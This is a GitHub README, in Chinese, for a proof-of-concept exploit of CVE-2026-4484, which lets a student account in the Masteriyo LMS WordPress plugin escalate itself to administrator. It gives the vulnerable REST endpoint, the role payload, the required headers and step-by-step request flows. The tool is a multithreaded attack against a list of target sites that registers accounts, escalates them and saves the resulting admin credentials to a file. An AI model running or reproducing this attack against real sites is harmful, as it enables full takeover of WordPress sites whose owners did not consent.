Nxploited/CVE-2026-4484

GitHub: Nxploited/CVE-2026-4484

针对 Masteriyo LMS ≤2.1.6 的认证后权限提升漏洞利用工具,演示学生账户被提权为管理员的过程。

Stars: 0 | Forks: 0

# CVE-2026-4484 Masteriyo LMS <= 2.1.6 - 缺少对已认证(学生+)权限的授权,导致权限提升为管理员

Typing SVG

## 🔴 漏洞概述 ### CVE-2026-4484 — 已认证权限提升(学生 → 管理员) | 字段 | 说明 | |---|---| | **CVE ID** | CVE-2026-4484 | | **严重性** | **高危** — CVSS v3.1 评分:**8.8** | | **攻击向量** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | **CNA** | Wordfence | | **受影响软件** | WordPress 的 Masteriyo LMS 插件 | | **受影响版本** | 所有 **2.1.6** 及以下版本 | | **漏洞类型** | 权限提升(角色操纵) | | **认证要求** | 是 — 需要学生或以上权限 | | **CWE** | CWE-269:不正确的权限管理 | **描述:** WordPress 的 **Masteriyo LMS** 插件在所有 **2.1.6** 及以下版本中存在 **权限提升** 漏洞。漏洞源于 `InstructorsController::prepare_object_for_database` 函数,该函数未能正确限制 REST API 请求中的角色分配。具备 **学生** 权限或更高权限的已认证攻击者可以构造一个特制的 POST 请求,向 Masteriyo REST API 端点注入 `"roles": ["administrator"]`,从而静默地将自身账户提升为 WordPress **管理员**,实现无需管理员交互的完全站点接管。 ## 🛠️ 工具描述 这是一个针对运行 **Masteriyo LMS** 插件漏洞版本的 WordPress 安装环境的 **PoC(概念验证)利用脚本**。该工具支持两种攻击模式: | 模式 | 名称 | 流程 | 使用场景 | |---|---|---|---| | **1** | `Nx_1` | 注册 → 登录 → 提升 → 验证管理员 | 全新攻击 — 无需已有账户 | | **2** | `Nx_2` | 登录 → 提升 → 验证管理员 | 已有学生/教师账户可用 | ### 攻击流程 ``` [Register / Login as Student] ↓ [Fetch Dashboard Context — user_id + nonce] ↓ [POST /wp-json/masteriyo/v1/users/instructors/{id}] [Payload: {"roles": ["administrator"]}] ↓ [Re-login with fresh session] ↓ [Verify /wp-admin access → confirmed Administrator] ↓ [Write to Login_admin.txt] ``` ## 📋 系统要求 ### 系统需求 - Python **3.8** 或更高版本 - Linux / Windows / macOS ### Python 依赖 ``` pip install requests urllib3 colorama ``` 或通过依赖文件安装: ``` pip install -r requirements.txt ``` **`requirements.txt`:** ``` requests>=2.28.0 urllib3>=1.26.0 colorama>=0.4.6 ``` ## 🚀 安装 ``` # 克隆仓库 git clone https://github.com/Nxploited/CVE-2026-4484.git cd CVE-2026-4484 # 安装依赖 pip install -r requirements.txt # 运行工具 python3 CVE-2026-4484.py ``` ## ⚙️ 使用说明 ### 基础运行 ``` python3 CVE-2026-4484.py ``` 该工具使用交互式终端界面,所有参数均在运行时提示。 ### 🗂️ 目标列表格式 创建一个纯文本文件(例如 `list.txt`),每行一个目标: ``` https://target1.com https://target2.com http://target3.com/wordpress ``` ### 🟥 模式 1 — Nx_1(注册 + 登录 + 提升) 在没有目标站点账户的情况下使用此模式。工具会自动注册一个新学生账户并进行权限提升。 ``` Select mode (1=Nx_1, 2=Nx_2) [2]: 1 Targets list file (one host/URL per line) [list.txt]: list.txt Threads (concurrent sites) [5]: 5 HTTP timeout (seconds) [10]: 10 Username to register (Nx_1) [Nxploited]: Nxploited Email to use for registration+login (Nx_1) [user@example.com]: user@example.com Password to use (Nx_1) [Nx_admin]: Nx_admin123! ``` **自动执行步骤:** 1. GET `/account/signup/` → 提取注册 nonce 2. POST `/st/` → 以学生身份注册新账户 3. GET `/account/` → 提取登录 nonce 4. POST `/wp-admin/admin-ajax.php` → 通过 Masteriyo AJAX 登录 5. GET `/account/#/dashboard` → 提取 `current_user_id` 与 `nonce` 6. POST `/wp-json/masteriyo/v1/users/instructors/{id}`,载荷为 `{"roles":["administrator"]}` 7. 使用新会话重新登录 → 验证管理员面板访问 8. 将确认成功的目标写入 `Login_admin.txt` ### 🟩 模式 2 — Nx_2(登录 + 提升 — 已有账户) 在已拥有有效 **学生** 或 **教师** 账户的目标站点上使用此模式。 ``` Select mode (1=Nx_1, 2=Nx_2) [2]: 2 Targets list file (one host/URL per line) [list.txt]: list.txt Threads (concurrent sites) [5]: 5 HTTP timeout (seconds) [10]: 10 Username or Email for login+escalation (Nx_2) [admin]: student@example.com Password for that user: mypassword ``` **自动执行步骤:** 1. GET `/account/` → 提取登录 nonce 2. POST `/wp-admin/admin-ajax.php` → 通过 Masteriyo AJAX 登录 3. GET `/account/#/dashboard` → 提取 `current_user_id` 与 `nonce` 4. POST `/wp-json/masteriyo/v1/users/instructors/{id}`,载荷为 `{"roles":["administrator"]}` 5. 使用新会话重新登录 → 验证管理员面板访问 6. 将确认成功的目标写入 `Login_admin.txt` ## 📁 输出文件 | 文件 | 说明 | |---|---| | `Login_admin.txt` | 所有已确认的管理员权限提升结果 | ### 输出格式 ``` https://target.com/wp-login.php user:student@example.com|pass:Nx_admin123! ``` ### 示例终端输出 ``` [OK] https://target.com :: LOGIN OK :: success [OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5 [OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator'] [OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access). ``` ## 🔍 技术细节 ### 漏洞端点 ``` POST /wp-json/masteriyo/v1/users/instructors/{user_id} ``` ### 攻击载荷 ``` { "roles": ["administrator"] } ``` ### 必需请求头 ``` Content-Type: application/json X-WP-Nonce: ``` ### 根本原因 `InstructorsController::prepare_object_for_database` 函数在处理 REST 请求中的 `roles` 参数时,未验证请求用户是否具备 `edit_users` 或 `promote_users` 能力。任何能够访问该端点的已认证用户(学生权限及以上)均可提交任意角色值(包括 `administrator`),该值随后会被直接写入 WordPress 用户元数据表。 ## 📡 联系与作者

By: Nxploited (Khaled Alenazi)

 

## ⚠️ 法律声明

© 2026 Nxploited (Khaled Alenazi) 仅限授权安全研究使用。

标签:Authenticated, CVE-2026-4484, CWE-269, LMS, Masteriyo LMS, Privilege Escalation, Web报告查看器, WordPress安全, WordPress插件, 协议分析, 在线学习, 字符串匹配, 学生权限, 插件安全, 操作系统监控, 教育科技, 文件完整性监控, 权限提升, 漏洞, 站点管理, 管理员权限, 角色操纵, 认证绕过, 课程管理, 逆向工具